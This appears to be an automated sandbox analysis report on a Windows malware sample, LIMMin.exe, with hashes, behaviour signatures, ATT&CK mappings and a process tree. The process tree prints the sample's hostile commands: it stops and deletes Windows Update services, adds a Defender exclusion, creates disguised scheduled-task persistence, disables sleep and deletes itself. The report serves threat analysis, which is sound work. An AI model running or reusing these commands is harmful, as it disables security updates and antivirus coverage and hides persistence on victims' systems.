ffb44a5388958cda3be00af5170e3fa51c5bc59e7b6ea659836417a17594d18c

Analysis

max time kernel
124s
max time network
176s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
13-10-2023 02:17

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General

Target

LIMMin.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3376 created 3116	3376	LIMMin.exe	54
PID 3376 created 3116	3376	LIMMin.exe	54
PID 3376 created 3116	3376	LIMMin.exe	54

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMin.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4880	sc.exe
4860	sc.exe
4864	sc.exe
1816	sc.exe
2888	sc.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3376	LIMMin.exe
3376	LIMMin.exe
380	powershell.exe
380	powershell.exe
3376	LIMMin.exe
3376	LIMMin.exe
3376	LIMMin.exe
3376	LIMMin.exe
3376	LIMMin.exe
3376	LIMMin.exe
456	powershell.exe
456	powershell.exe
3376	LIMMin.exe
3376	LIMMin.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	380	powershell.exe
Token: SeShutdownPrivilege	8	powercfg.exe
Token: SeCreatePagefilePrivilege	8	powercfg.exe
Token: SeDebugPrivilege	456	powershell.exe
Token: SeShutdownPrivilege	4156	powercfg.exe
Token: SeCreatePagefilePrivilege	4156	powercfg.exe
Token: SeShutdownPrivilege	636	powercfg.exe
Token: SeCreatePagefilePrivilege	636	powercfg.exe
Token: SeShutdownPrivilege	2588	powercfg.exe
Token: SeCreatePagefilePrivilege	2588	powercfg.exe
Token: SeIncreaseQuotaPrivilege	456	powershell.exe
Token: SeSecurityPrivilege	456	powershell.exe
Token: SeTakeOwnershipPrivilege	456	powershell.exe
Token: SeLoadDriverPrivilege	456	powershell.exe
Token: SeSystemProfilePrivilege	456	powershell.exe
Token: SeSystemtimePrivilege	456	powershell.exe
Token: SeProfSingleProcessPrivilege	456	powershell.exe
Token: SeIncBasePriorityPrivilege	456	powershell.exe
Token: SeCreatePagefilePrivilege	456	powershell.exe
Token: SeBackupPrivilege	456	powershell.exe
Token: SeRestorePrivilege	456	powershell.exe
Token: SeShutdownPrivilege	456	powershell.exe
Token: SeDebugPrivilege	456	powershell.exe
Token: SeSystemEnvironmentPrivilege	456	powershell.exe
Token: SeRemoteShutdownPrivilege	456	powershell.exe
Token: SeUndockPrivilege	456	powershell.exe
Token: SeManageVolumePrivilege	456	powershell.exe
Token: 33	456	powershell.exe
Token: 34	456	powershell.exe
Token: 35	456	powershell.exe
Token: 36	456	powershell.exe
Token: SeIncreaseQuotaPrivilege	456	powershell.exe
Token: SeSecurityPrivilege	456	powershell.exe
Token: SeTakeOwnershipPrivilege	456	powershell.exe
Token: SeLoadDriverPrivilege	456	powershell.exe
Token: SeSystemProfilePrivilege	456	powershell.exe
Token: SeSystemtimePrivilege	456	powershell.exe
Token: SeProfSingleProcessPrivilege	456	powershell.exe
Token: SeIncBasePriorityPrivilege	456	powershell.exe
Token: SeCreatePagefilePrivilege	456	powershell.exe
Token: SeBackupPrivilege	456	powershell.exe
Token: SeRestorePrivilege	456	powershell.exe
Token: SeShutdownPrivilege	456	powershell.exe
Token: SeDebugPrivilege	456	powershell.exe
Token: SeSystemEnvironmentPrivilege	456	powershell.exe
Token: SeRemoteShutdownPrivilege	456	powershell.exe
Token: SeUndockPrivilege	456	powershell.exe
Token: SeManageVolumePrivilege	456	powershell.exe
Token: 33	456	powershell.exe
Token: 34	456	powershell.exe
Token: 35	456	powershell.exe
Token: 36	456	powershell.exe
Token: SeIncreaseQuotaPrivilege	456	powershell.exe
Token: SeSecurityPrivilege	456	powershell.exe
Token: SeTakeOwnershipPrivilege	456	powershell.exe
Token: SeLoadDriverPrivilege	456	powershell.exe
Token: SeSystemProfilePrivilege	456	powershell.exe
Token: SeSystemtimePrivilege	456	powershell.exe
Token: SeProfSingleProcessPrivilege	456	powershell.exe
Token: SeIncBasePriorityPrivilege	456	powershell.exe
Token: SeCreatePagefilePrivilege	456	powershell.exe
Token: SeBackupPrivilege	456	powershell.exe
Token: SeRestorePrivilege	456	powershell.exe
Token: SeShutdownPrivilege	456	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 876 wrote to memory of 4880	876	cmd.exe	91
PID 876 wrote to memory of 4880	876	cmd.exe	91
PID 3532 wrote to memory of 8	3532	cmd.exe	92
PID 3532 wrote to memory of 8	3532	cmd.exe	92
PID 3532 wrote to memory of 4156	3532	cmd.exe	93
PID 3532 wrote to memory of 4156	3532	cmd.exe	93
PID 876 wrote to memory of 4860	876	cmd.exe	94
PID 876 wrote to memory of 4860	876	cmd.exe	94
PID 3532 wrote to memory of 636	3532	cmd.exe	95
PID 3532 wrote to memory of 636	3532	cmd.exe	95
PID 876 wrote to memory of 4864	876	cmd.exe	96
PID 876 wrote to memory of 4864	876	cmd.exe	96
PID 3532 wrote to memory of 2588	3532	cmd.exe	97
PID 3532 wrote to memory of 2588	3532	cmd.exe	97
PID 876 wrote to memory of 1816	876	cmd.exe	98
PID 876 wrote to memory of 1816	876	cmd.exe	98
PID 876 wrote to memory of 2888	876	cmd.exe	99
PID 876 wrote to memory of 2888	876	cmd.exe	99
PID 876 wrote to memory of 3660	876	cmd.exe	100
PID 876 wrote to memory of 3660	876	cmd.exe	100
PID 876 wrote to memory of 3544	876	cmd.exe	101
PID 876 wrote to memory of 3544	876	cmd.exe	101
PID 876 wrote to memory of 4008	876	cmd.exe	102
PID 876 wrote to memory of 4008	876	cmd.exe	102
PID 876 wrote to memory of 4904	876	cmd.exe	103
PID 876 wrote to memory of 4904	876	cmd.exe	103
PID 876 wrote to memory of 1444	876	cmd.exe	104
PID 876 wrote to memory of 1444	876	cmd.exe	104
PID 2612 wrote to memory of 1584	2612	cmd.exe	108
PID 2612 wrote to memory of 1584	2612	cmd.exe	108

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3116
- C:\Users\Admin\AppData\Local\Temp\LIMMin.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:876
  - - C:\Windows\System32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4880
  - - C:\Windows\System32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4860
  - - C:\Windows\System32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:4864
  - - C:\Windows\System32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:1816
  - - C:\Windows\System32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:2888
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:3660
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:3544
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      Modifies security service
      PID:4008
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:4904
  - - C:\Windows\System32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:1444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:380
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4156
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMin.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eajzo3w2.hz4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/380-16-0x00007FFC12E30000-0x00007FFC138F1000-memory.dmp

Filesize
10.8MB

Download
memory/380-12-0x000001AC3C3E0000-0x000001AC3C3F0000-memory.dmp

Filesize
64KB

Download
memory/380-13-0x000001AC3C3E0000-0x000001AC3C3F0000-memory.dmp

Filesize
64KB

Download
memory/380-11-0x000001AC3C3E0000-0x000001AC3C3F0000-memory.dmp

Filesize
64KB

Download
memory/380-10-0x00007FFC12E30000-0x00007FFC138F1000-memory.dmp

Filesize
10.8MB

Download
memory/380-9-0x000001AC3C360000-0x000001AC3C382000-memory.dmp

Filesize
136KB

Download
memory/456-28-0x00007FFC12E30000-0x00007FFC138F1000-memory.dmp

Filesize
10.8MB

Download
memory/456-29-0x000001DAD79F0000-0x000001DAD7A00000-memory.dmp

Filesize
64KB

Download
memory/456-30-0x000001DAD79F0000-0x000001DAD7A00000-memory.dmp

Filesize
64KB

Download
memory/456-32-0x000001DAD79F0000-0x000001DAD7A00000-memory.dmp

Filesize
64KB

Download
memory/456-34-0x00007FFC12E30000-0x00007FFC138F1000-memory.dmp

Filesize
10.8MB

Download
memory/3376-36-0x00007FF6B4FE0000-0x00007FF6B537A000-memory.dmp

Filesize
3.6MB

Download